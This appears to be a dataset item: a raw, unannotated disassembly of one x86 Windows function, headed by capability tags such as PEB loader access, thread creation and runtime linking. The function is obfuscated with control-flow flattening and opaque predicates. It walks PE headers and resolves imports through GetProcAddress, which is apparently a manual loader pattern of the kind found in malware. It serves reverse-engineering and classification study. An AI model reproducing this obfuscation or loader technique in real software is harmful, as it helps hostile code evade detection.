Function at 0x4017a0
Capabilities:
Access peb ldr_data
Create thread
Get number of processors
Link function at runtime on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4c178
call fcn.0043a780
mov eax, dword [0x4b02c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0x65dc16e2
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xd9793bd9
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x6baec5ba
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
nop word cs:[eax + eax]
cmp eax, 0x15169f5
jg 0x401890
cmp eax, 0xbe31bc66
jg 0x401910
cmp eax, 0x9e38c583
jle 0x401a4c
cmp eax, 0xad2f435c
jle 0x401c26
cmp eax, 0xb5c3b7c4
jle 0x401f26
cmp eax, 0xb81dcbd7
jle 0x4025dc
cmp eax, 0xbc8e1780
jg 0x402ecd
cmp eax, 0xb81dcbd8
je 0x403bee
cmp eax, 0xb91ea7b9
je 0x403bf8
cmp eax, 0xbba5ab46
jne 0x401810
mov dword [ebp - 0x4c0b8], 0
mov eax, 0xc822acce
jmp 0x401810
cmp eax, 0x3bcbfdd2
jle 0x4019c0
cmp eax, 0x5a3a9fe2
jle 0x401aed
cmp eax, 0x6b2a6a65
jle 0x401c9c
cmp eax, 0x72f8a75b
jle 0x401f73
cmp eax, 0x7a9ae0a2
jle 0x40263f
cmp eax, 0x7dbbfe1a
jg 0x402ef8
cmp eax, 0x7a9ae0a3
je 0x403c18
cmp eax, 0x7c70142b
je 0x403c2c
cmp eax, 0x7d32ad78
jne 0x401810
inc dword [ebp - 0x4c058]
mov eax, 0x9cf4d10d
jmp 0x401810
cmp eax, 0xdf214abd
jg 0x401b44
cmp eax, 0xcc20d6b4
jg 0x401d10
cmp eax, 0xc2dc6b4e
jg 0x40200a
cmp eax, 0xc1e6f22c
jg 0x402684
cmp eax, 0xc11c8d78
jle 0x402f23
cmp eax, 0xc11c8d79
je 0x403c45
cmp eax, 0xc17bfeac
je 0x403c4f
cmp eax, 0xc1e57e6c
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xc234598c
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x6826ee2f
cmovne edi, ebx
test edx, eax
mov edx, dword [ebp - 0x4c020]
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
add edx, esi
mov dword [ebp - 0x4c0d4], edx
jmp 0x401810
cmp eax, 0x1f7caceb
jg 0x401bc5
cmp eax, 0xdfb2115
jg 0x401d5c
cmp eax, 0x82551f5
jg 0x402078
cmp eax, 0x3bfa51a
jg 0x4026ba
cmp eax, 0x272c463
jle 0x402f4f
cmp eax, 0x272c464
je 0x403c59
cmp eax, 0x30594a8
je 0x403c63
cmp eax, 0x39038ce
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xad2f435d
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xd238015f
jmp 0x4017f0
cmp eax, 0x9014e54c
jg 0x401da8
cmp eax, 0x8518aec5
jg 0x4020b9
cmp eax, 0x8275c7d0
jg 0x40270f
cmp eax, 0x819483e6
jle 0x402f6f
cmp eax, 0x819483e7
je 0x403ca1
cmp eax, 0x81b83ec2
je 0x403cc2
cmp eax, 0x81bbf954
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x13a11dbb
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x514d03ed
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c028]
cmovge eax, edx
add ecx, 0x34
mov dword [ebp - 0x4c108], ecx
jmp 0x401810
cmp eax, 0x4b102a01
jg 0x401e17
cmp eax, 0x42f22432
jg 0x40210f
cmp eax, 0x3fc31864
jg 0x402754
cmp eax, 0x3d9dca6a
jle 0x402faa
cmp eax, 0x3d9dca6b
je 0x403d0c
cmp eax, 0x3e1c0620
je 0x403d3e
cmp eax, 0x3f608b86
jne 0x401810
mov eax, 0x30594a8
jmp 0x401810
cmp eax, 0xedc54d08
jg 0x401e63
cmp eax, 0xea6d43c1
jg 0x4021bb
cmp eax, 0xe46d0bd5
jg 0x4027a0
cmp eax, 0xe2060e28
jle 0x402fdb
cmp eax, 0xe2060e29
je 0x403d6f
cmp eax, 0xe273ba10
je 0x403d79
cmp eax, 0xe28c7ac5
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xb5d33dd6
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9014e54d
jmp 0x4017f0
cmp eax, 0x2dac837f
jg 0x401ebe
cmp eax, 0x27b510e2
jg 0x402218
cmp eax, 0x2234e62d
jg 0x4027eb
cmp eax, 0x2145b60f
jle 0x40300a
cmp eax, 0x2145b610
je 0x403dca
cmp eax, 0x2153f3ab
je 0x403de9
cmp eax, 0x21545771
jne 0x401810
mov dword [ebp - 0x4c02c], 5
mov eax, 0x3bcbfdd3
jmp 0x401810
cmp eax, 0xa50cc655
jg 0x402263
cmp eax, 0xa11b0ea3
jg 0x402821
cmp eax, 0x9f6190aa
jle 0x403058
cmp eax, 0x9f6190ab
je 0x403e05
cmp eax, 0x9f7efc1e
je 0x403e38
cmp eax, 0xa04c4974
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x33c49d87
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x7216ce4a
jmp 0x4017f0
cmp eax, 0x61698329
jg 0x4022c0
cmp eax, 0x5e3d958b
jg 0x402861
cmp eax, 0x5acccdb6
jle 0x403084
cmp eax, 0x5acccdb7
je 0x403e42
cmp eax, 0x5c850f09
je 0x403e52
cmp eax, 0x5dcb4130
jne 0x401810
mov eax, dword [ebp - 0x4c0c0]
mov ebx, 0x27e34119
mov edi, 0x542507c8
mov dword [ebp - 0x4c0a8], eax
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x542507c8
jmp 0x4053e6
cmp eax, 0xd7fc701a
jg 0x4023e7
cmp eax, 0xd238015e
jg 0x4028c1
cmp eax, 0xcdc2b195
jle 0x4030b5
cmp eax, 0xcdc2b196
je 0x403ea2
cmp eax, 0xcdfa8ba9
je 0x403eca
cmp eax, 0xcef61508
jne 0x401810
mov eax, 0xb5c3b7c5
jmp 0x401810
cmp eax, 0x16b8eb88
jg 0x40242e
cmp eax, 0x13648152
jg 0x402907
cmp eax, 0x110c8c92
jle 0x4030d5
cmp eax, 0x110c8c93
je 0x403efd
cmp eax, 0x1192016d
je 0x403f31
cmp eax, 0x11a5fecf
jne 0x401810
mov eax, 0xda3da128
jmp 0x401810
cmp eax, 0x990df248
jg 0x402499
cmp eax, 0x93631ea8
jg 0x40293d
cmp eax, 0x911d04f3
jle 0x40311e
cmp eax, 0x911d04f4
je 0x403f57
cmp eax, 0x91cae70c
je 0x403f6d
cmp eax, 0x93083242
jne 0x401810
mov eax, dword [ebp - 0x4c040]
mov ecx, dword [ebp - 0x4c07c]
mov dword [ebp - 0x4c054], 0x40
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov dword [ebp - 0x4c034], eax
mov eax, 0xad35b213
jmp 0x401810
cmp eax, 0x514d03ec
jg 0x402504
cmp eax, 0x4dd77114
jg 0x402973
cmp eax, 0x4c570ce7
jle 0x40315d
cmp eax, 0x4c570ce8
je 0x403f88
cmp eax, 0x4c8c22da
je 0x404011
cmp eax, 0x4ce3982e
jne 0x401810
mov eax, 0x2234e62e
jmp 0x401810
cmp eax, 0xf5d8b9ac
jg 0x402545
cmp eax, 0xef2e4258
jg 0x4029be
cmp eax, 0xee8ea122
jle 0x403196
cmp eax, 0xee8ea123
je 0x40401b
cmp eax, 0xeea47c2f
je 0x404032
cmp eax, 0xeed16797
jne 0x401810
cmp byte [ebp - 0x4c04a], 0
mov eax, 0xa04c4974
mov ecx, 0x2a3821dc
cmovne eax, ecx
jmp 0x401810
cmp eax, 0x37c6adbc
jg 0x402586
cmp eax, 0x31bc4d7e
jg 0x4029f4
cmp eax, 0x300dfb75
jle 0x4031df
cmp eax, 0x300dfb76
je 0x404064
cmp eax, 0x301100e9
je 0x4040b7
cmp eax, 0x30700e96
jne 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xa220da87
mov edi, 0x3394a07c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3394a07c
jmp 0x4053e6
cmp eax, 0xb04e4f2c
jg 0x402a36
cmp eax, 0xae2e05bb
jle 0x403209
cmp eax, 0xae2e05bc
je 0x4040c1
cmp eax, 0xae836e03
je 0x4040cb
cmp eax, 0xaf274680
jne 0x401810
mov ecx, dword [ebp - 0x4c12c]
mov eax, 0xcef61508
mov dword [ebp - 0x4c078], ecx
jmp 0x401810
cmp eax, 0x6e5701bf
jg 0x402a6c
cmp eax, 0x6bd69316
jle 0x40328c
cmp eax, 0x6bd69317
je 0x4040fe
cmp eax, 0x6ca6506b
je 0x404132
cmp eax, 0x6dbd13ab
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x13648153
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc28df619
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c078]
cmovge eax, edi
mov dword [ebp - 0x4c118], ecx
mov ecx, dword [ebp - 0x4c028]
movzx ecx, word [ecx + 6]
mov word [ebp - 0x4c0aa], cx
jmp 0x401810
cmp eax, 0xc7165fc5
jg 0x402aa2
cmp eax, 0xc4cda449
jle 0x4032ac
cmp eax, 0xc4cda44a
je 0x40413c
cmp eax, 0xc4ea11dc
je 0x404170
cmp eax, 0xc590a5ef
jne 0x401810
mov eax, dword [ebp - 0x4c0e0]
mov ecx, dword [eax + 8]
mov eax, dword [ebp - 0x4c068]
mov eax, dword [ebp - 0x4c068]
mov eax, dword [ebp - 0x4c068]
mov eax, dword [ebp - 0x4c068]
mov eax, 0x17f3c436
add ecx, dword [ebp - 0x4c068]
mov dword [ebp - 0x4c074], ecx
jmp 0x401810
cmp eax, 0xc60f7dc
jg 0x402b00
cmp eax, 0x9479d6a
jle 0x4032d2
cmp eax, 0x9479d6b
je 0x4041ad
cmp eax, 0xa903848
je 0x4041b7
cmp eax, 0xb0ab5c5
jne 0x401810
mov eax, 0x990df249
jmp 0x401810
cmp eax, 0x8ce618e6
jg 0x402b43
cmp eax, 0x87cd4b06
jle 0x40330e
cmp eax, 0x87cd4b07
je 0x4041eb
cmp eax, 0x892620cb
je 0x40420a
cmp eax, 0x8ae3f609
jne 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0xfb9fc99b
mov ebx, 0xa9926504
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xa9926504
jmp 0x4049c5
cmp eax, 0x47970c8d
jg 0x402b79
cmp eax, 0x4424808c
jle 0x403345
cmp eax, 0x4424808d
je 0x404214
cmp eax, 0x456c756a
je 0x40421e
cmp eax, 0x45a66134
jne 0x401810
push 0x400
push dword [ebp - 0x4c0d0]
push dword [ebp - 0x4c0cc]
vzeroupper
call fcn.0043d600
add esp, 0xc
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov ebx, dword [ebp - 0x4c028]
mov edi, 0x37d7dc76
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xeca6a0bf
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
movzx ecx, word [ebx + 0x14]
cmovge eax, edx
lea ecx, [ebx + ecx + 0x18]
mov dword [ebp - 0x4c114], ecx
jmp 0x401810
cmp eax, 0xed1d5512
jg 0x402bbb
cmp eax, 0xeb7d8f50
jle 0x4033b6
cmp eax, 0xeb7d8f51
je 0x404244
cmp eax, 0xec6d83a8
je 0x40424e
cmp eax, 0xeca6a0bf
jne 0x401810
push 0x400
push dword [ebp - 0x4c0d0]
push dword [ebp - 0x4c0cc]
vzeroupper
call fcn.0043d600
add esp, 0xc
mov eax, 0x45a66134
jmp 0x401810
cmp eax, 0x2a3821db
jg 0x402c0d
cmp eax, 0x27e34118
jle 0x4033eb
cmp eax, 0x27e34119
je 0x4042a3
cmp eax, 0x293c906b
je 0x4042ad
cmp eax, 0x2a1dd3a6
jne 0x401810
mov dword [ebp - 0x4c054], 4
mov eax, 0xb0ab5c5
jmp 0x401810
cmp eax, 0xa9926503
jg 0x402c5f
cmp eax, 0xa76277c6
jle 0x40341a
cmp eax, 0xa76277c7
je 0x4042cc
cmp eax, 0xa80ca886
je 0x4042d6
cmp eax, 0xa94d4d33
jne 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0x1bb97aaa
mov ebx, 0x9b55ce87
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9b55ce87
jmp 0x4049cd
cmp eax, 0x66e79a76
jg 0x402ca4
cmp eax, 0x6484d2c9
jle 0x40347b
cmp eax, 0x6484d2ca
je 0x4042f1
cmp eax, 0x64c1e415
je 0x4042fb
cmp eax, 0x65dc16e2
jne 0x401810
push eax
sub esp, 0x74
mov eax, esp
mov dword [ebp - 0x4c064], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c038], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x4c080], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c084], eax
push 0x4c000
push 0x459218
lea eax, [ebp - 0x4c010]
push eax
vzeroupper
call fcn.0043d600
add esp, 0xc
mov eax, dword [0x4b2400]
mov dword [ebp - 0x4c014], 0x4c000
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x4b23fc], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
xor cl, 1
mov eax, 0x4e244d67
or cl, dl
mov ecx, 0x9e08888d
mov edx, 0xd3cdf0f0
cmovne eax, ecx
mov ecx, 0x4e244d67
cmovne ecx, edx
mov edx, 0xd7ebe52b
cmp edx, 0xd3cdf0ef
jle 0x4023c0
cmp edx, 0x4e244d67
je 0x4023d5
cmp edx, 0xd7ebe52b
je 0x4023dc
cmp edx, 0xd3cdf0f0
jne 0x402390
mov edx, eax
jmp 0x402390
cmp edx, 0x9e08888d
je 0x4023e0
cmp edx, 0xce4d2cb0
jne 0x402390
jmp 0x40432f
mov edx, 0xd3cdf0f0
jmp 0x402390
mov edx, ecx
jmp 0x402390
mov edx, 0xce4d2cb0
jmp 0x402390
cmp eax, 0xdbad3edc
jg 0x402d03
cmp eax, 0xd9793bd8
jle 0x40349b
cmp eax, 0xd9793bd9
je 0x404367
cmp eax, 0xda3da128
je 0x404380
cmp eax, 0xdaca63ca
jne 0x401810
mov eax, dword [ebp - 0x4c0f0]
mov eax, 0x8fb9021c
jmp 0x401810
cmp eax, 0x1b6aff9c
jg 0x402d43
cmp eax, 0x181aee5c
jle 0x4034d3
cmp eax, 0x181aee5d
je 0x4043db
cmp eax, 0x18bdc476
je 0x4043f2
cmp eax, 0x198e27e7
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x5dcb4130
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x542507c8
jmp 0x4017f0
cmp eax, 0x9b55ce86
jg 0x402d8e
cmp eax, 0x9aae4074
jle 0x403543
cmp eax, 0x9aae4075
je 0x40440a
cmp eax, 0x9afab74f
je 0x404446
cmp eax, 0x9b4e1d37
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xb73aa4ff
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x93fe3ff9
jmp 0x4017f0
cmp eax, 0x543e4ac2
jg 0x402dee
cmp eax, 0x51c47b0c
jle 0x403580
cmp eax, 0x51c47b0d
je 0x404465
cmp eax, 0x524212c1
je 0x404475
cmp eax, 0x542507c8
jne 0x401810
mov eax, 0x5dcb4130
jmp 0x401810
cmp eax, 0xfb9fc99a
jg 0x402e4b
cmp eax, 0xf71e9a60
jle 0x4035a0
cmp eax, 0xf71e9a61
je 0x40447f
cmp eax, 0xf84e4c99
je 0x4044a5
cmp eax, 0xf8a23847
jne 0x401810
mov eax, 0x4b236a68
jmp 0x401810
cmp eax, 0x391bad17
jg 0x402e8b
cmp eax, 0x37e594e9
jle 0x4035ea
cmp eax, 0x37e594ea
je 0x4044af
cmp eax, 0x38b61035
je 0x4044e3
cmp eax, 0x38dd4e4f
jne 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xbc8e1781
mov edi, 0xdbad3edd
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xdbad3edd
jmp 0x4053de
cmp eax, 0xb6307824
jle 0x40360a
cmp eax, 0xb6307825
je 0x404502
cmp eax, 0xb73aa4ff
je 0x40450c
cmp eax, 0xb759ed8d
jne 0x401810
mov eax, dword [ebp - 0x4c028]
mov ecx, esi
mov edi, 0xc17bfeac
mov ebx, 0x5abd5e1a
sub ecx, dword [eax + 0x34]
mov eax, dword [0x4b23e8]
mov dword [ebp - 0x4c0c0], ecx
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x5abd5e1a
jmp 0x4049cd
cmp eax, 0x74563407
jle 0x40362a
cmp eax, 0x74563408
je 0x40453f
cmp eax, 0x7539b514
je 0x40455f
cmp eax, 0x7854260d
jne 0x401810
cmp dword [ebp - 0x4c17c], 0
mov eax, 0x14c2f11c
mov ecx, 0x3519d390
cmove eax, ecx
jmp 0x401810
cmp eax, 0xc26485dc
jle 0x40364a
cmp eax, 0xc26485dd
je 0x404581
cmp eax, 0xc27192b0
je 0x4045b5
cmp eax, 0xc28df619
jne 0x401810
mov eax, 0x5e3d958c
jmp 0x401810
cmp eax, 0x570aca4
jle 0x40366a
cmp eax, 0x570aca5
je 0x4045e8
cmp eax, 0x5fe804b
je 0x404607
cmp eax, 0x6c3568d
jne 0x401810
mov eax, dword [ebp - 0x4c100]
add eax, 2
push eax
push dword [ebp - 0x4c094]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4c0a4], eax
mov eax, 0x6484d2ca
jmp 0x401810
cmp eax, 0x82aef575
jle 0x40368a
cmp eax, 0x82aef576
je 0x404626
cmp eax, 0x833f3ce7
je 0x404671
cmp eax, 0x84512b2d
jne 0x401810
cmp byte [ebp - 0x4c046], 0
mov eax, 0x833f3ce7
mov ecx, 0x81379035
cmovne eax, ecx
jmp 0x401810
cmp eax, 0x41aec259
jle 0x4036aa
cmp eax, 0x41aec25a
je 0x404685
cmp eax, 0x422f3476
je 0x4046a6
cmp eax, 0x42d20f4a
jne 0x401810
mov dword [ebp - 0x4c078], 0
mov eax, 0xb5c3b7c5
mov ecx, dword [ebp - 0x4c114]
mov dword [ebp - 0x4c07c], ecx
jmp 0x401810
cmp eax, 0xe7b9984d
jle 0x4036f7
cmp eax, 0xe7b9984e
je 0x4046b0
cmp eax, 0xe8f7ef38
je 0x4046c6
cmp eax, 0xea0bd52a
jne 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0xf05141ea
mov ebx, 0xccb9436b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xccb9436b
jmp 0x4049c5
cmp eax, 0x254fd27d
jle 0x403726
cmp eax, 0x254fd27e
je 0x4046e5
cmp eax, 0x2577b7d9
je 0x404704
cmp eax, 0x267779b0
jne 0x401810
mov eax, 0x456c756a
jmp 0x401810
cmp eax, 0xa20273bd
jle 0x403755
cmp eax, 0xa20273be
je 0x404756
cmp eax, 0xa220da87
je 0x40476c
cmp eax, 0xa283aa07
jne 0x401810
mov dword [ebp - 0x4c02c], 0xd
mov eax, 0x9b4e1d37
jmp 0x401810
cmp eax, 0x5f0538a3
jle 0x403791
cmp eax, 0x5f0538a4
je 0x404785
cmp eax, 0x5f0d4ad6
je 0x40478f
cmp eax, 0x615ba419
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x5fe804b
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc2dc6b4f
jmp 0x4017f0
cmp eax, 0xd5c8329d
jle 0x4037b1
cmp eax, 0xd5c8329e
je 0x4047dd
cmp eax, 0xd65c2b19
je 0x40482b
cmp eax, 0xd6ec2616
jne 0x401810
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [eax]
add eax, esi
mov dword [ebp - 0x4c0bc], eax
mov eax, 0x254fd27e
jmp 0x401810
cmp eax, 0x14c2f11b
jle 0x4037ea
cmp eax, 0x14c2f11c
je 0x40486c
cmp eax, 0x15f18f3d
je 0x404880
cmp eax, 0x16297841
jne 0x401810
mov eax, 0x5a3a9fe3
jmp 0x401810
cmp eax, 0x94b9a389
jle 0x40380a
cmp eax, 0x94b9a38a
je 0x40488a
cmp eax, 0x97591d52
je 0x4048be
cmp eax, 0x97afb82b
jne 0x401810
mov eax, 0x55777a8d
jmp 0x401810
cmp eax, 0x4edf3264
jle 0x40382a
cmp eax, 0x4edf3265
je 0x4048c8
cmp eax, 0x4f6c4306
je 0x4048e8
cmp eax, 0x4fa7d285
jne 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0x94b9a38a
mov edi, 0x70c51631
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x70c51631
jmp 0x4053de
cmp eax, 0xf2d1b904
jle 0x40386b
cmp eax, 0xf2d1b905
je 0x4048f2
cmp eax, 0xf30c32e6
je 0x40493b
cmp eax, 0xf3f4e4dd
jne 0x401810
mov eax, 0xbdd9c53f
jmp 0x401810
cmp eax, 0x3394a07b
jle 0x40389a
cmp eax, 0x3394a07c
je 0x404952
cmp eax, 0x33c49d87
je 0x40495c
cmp eax, 0x3519d390
jne 0x401810
mov eax, dword [ebp - 0x4c034]
mov dword [ebp - 0x4c090], eax
mov eax, 0x1192016d
jmp 0x401810
cmp eax, 0xb412a84a
jle 0x4038c6
cmp eax, 0xb412a84b
je 0x40498c
cmp eax, 0xb49173dc
je 0x4049ab
cmp eax, 0xb54739d4
jne 0x401810
mov eax, 0xe273ba10
jmp 0x401810
cmp eax, 0x70c51630
jle 0x40390c
cmp eax, 0x70c51631
je 0x4049ea
cmp eax, 0x7216ce4a
je 0x4049f4
cmp eax, 0x72ce74ea
jne 0x401810
mov eax, 0x37c6adbd
jmp 0x401810
cmp eax, 0xc789dbf4
jle 0x40392c
cmp eax, 0xc789dbf5
je 0x4049fe
cmp eax, 0xc809bc8d
je 0x404a1f
cmp eax, 0xc822acce
jne 0x401810
mov eax, dword [ebp - 0x4c0b8]
mov edi, 0x2577b7d9
mov ebx, 0xcdc2b196
mov dword [ebp - 0x4c0f8], eax
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xcdc2b196
jmp 0x4049cd
cmp eax, 0xd046307
jle 0x40395b
cmp eax, 0xd046308
je 0x404a35
cmp eax, 0xd1ef576
je 0x404a4d
cmp eax, 0xd4816e2
jne 0x401810
mov eax, dword [ebp - 0x4c060]
inc eax
mov dword [ebp - 0x4c16c], eax
mov eax, 0xb04e4f2d
jmp 0x401810
cmp eax, 0x8dae7feb
jle 0x4039a9
cmp eax, 0x8dae7fec
je 0x404a61
cmp eax, 0x8fb9021c
je 0x404a8f
cmp eax, 0x8ff1728c
jne 0x401810
mov eax, 0x2bd969ce
jmp 0x401810
cmp eax, 0x4a0bae47
jle 0x4039c9
cmp eax, 0x4a0bae48
je 0x404ac3
cmp eax, 0x4a6dc4bc
je 0x404af6
cmp eax, 0x4af57b8e
jne 0x401810
mov ecx, dword [ebp - 0x4c10c]
mov eax, 0xc822acce
mov dword [ebp - 0x4c0b8], ecx
jmp 0x401810
cmp eax, 0xed2cfc29
jle 0x4039e9
cmp eax, 0xed2cfc2a
je 0x404b0a
cmp eax, 0xed4d4029
je 0x404b23
cmp eax, 0xed699d27
jne 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0x5c850f09
mov ebx, 0x181aee5d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x181aee5d
jmp 0x4049cd
cmp eax, 0x2bd969cd
jle 0x403a32
cmp eax, 0x2bd969ce
je 0x404b2d
cmp eax, 0x2bf539c9
je 0x404b37
cmp eax, 0x2c5ff65c
jne 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xc1e57e6c
mov edi, 0xc234598c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc234598c
jmp 0x4053e6
cmp eax, 0xaa642214
jle 0x403a6e
cmp eax, 0xaa642215
je 0x404b6a
cmp eax, 0xabb38edd
je 0x404bad
cmp eax, 0xacbb0cc5
jne 0x401810
cmp byte [ebp - 0x4c04c], 0
mov eax, 0x862fe8fd
mov ecx, 0x2a1dd3a6
cmovne eax, ecx
jmp 0x401810
cmp eax, 0x6728bdcf
jle 0x403a94
cmp eax, 0x6728bdd0
je 0x404bd2
cmp eax, 0x6826ee2f
je 0x404c05
cmp eax, 0x695ee09d
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xb54739d4
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe273ba10
jmp 0x40550b
cmp eax, 0xdc50deaa
jle 0x403abe
cmp eax, 0xdc50deab
je 0x404c0f
cmp eax, 0xddb78f81
je 0x404c28
cmp eax, 0xdec65493
jne 0x401810
mov eax, 0xfe9d7a8e
mov dword [ebp - 0x4c0b0], 1
jmp 0x401810
cmp eax, 0x1bb97aa9
jle 0x403af3
cmp eax, 0x1bb97aaa
je 0x404c38
cmp eax, 0x1d546061
je 0x404c42
cmp eax, 0x1dd544e4
jne 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0x8fb9021c
mov edi, 0xdaca63ca
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xdaca63ca
jmp 0x4053de
cmp eax, 0x9cf4d10c
jle 0x403b13
cmp eax, 0x9cf4d10d
je 0x404c61
cmp eax, 0x9d4859f2
je 0x404c6b
cmp eax, 0x9e081520
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xcdfa8ba9
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x422f3476
jmp 0x4017f0
cmp eax, 0x56d94e67
jle 0x403b48
cmp eax, 0x56d94e68
je 0x404c75
cmp eax, 0x56f09520
je 0x404c9b
cmp eax, 0x58d54ff2
jne 0x401810
mov eax, dword [ebp - 0x4c05c]
mov dword [ebp - 0x4c070], 0
mov ecx, dword [eax + 4]
add eax, 8
mov dword [ebp - 0x4c03c], eax
mov eax, 0xcc20d6b5
add ecx, 0xfffffff8
shr ecx, 1
mov dword [ebp - 0x4c0b4], ecx
jmp 0x401810
cmp eax, 0xfdc9a0ed
jle 0x403b8f
cmp eax, 0xfdc9a0ee
je 0x404ca5
cmp eax, 0xfe0e52be
je 0x404caf
cmp eax, 0xfe9d7a8e
jne 0x401810
mov eax, 0x56f09520
mov dword [ebp - 0x4c02c], 1
jmp 0x401810
cmp eax, 0x3a327a83
jle 0x403baf
cmp eax, 0x3a327a84
je 0x404cc8
cmp eax, 0x3a93d46e
je 0x404cfb
cmp eax, 0x3b64c73f
jne 0x401810
mov eax, dword [ebp - 0x4c02c]
mov dword [ebp - 0x4c168], eax
mov eax, 0xef2e4259
jmp 0x401810
cmp eax, 0xbc8e1781
je 0x404d14
cmp eax, 0xbcb0764f
je 0x404d1e
cmp eax, 0xbdd9c53f
jne 0x401810
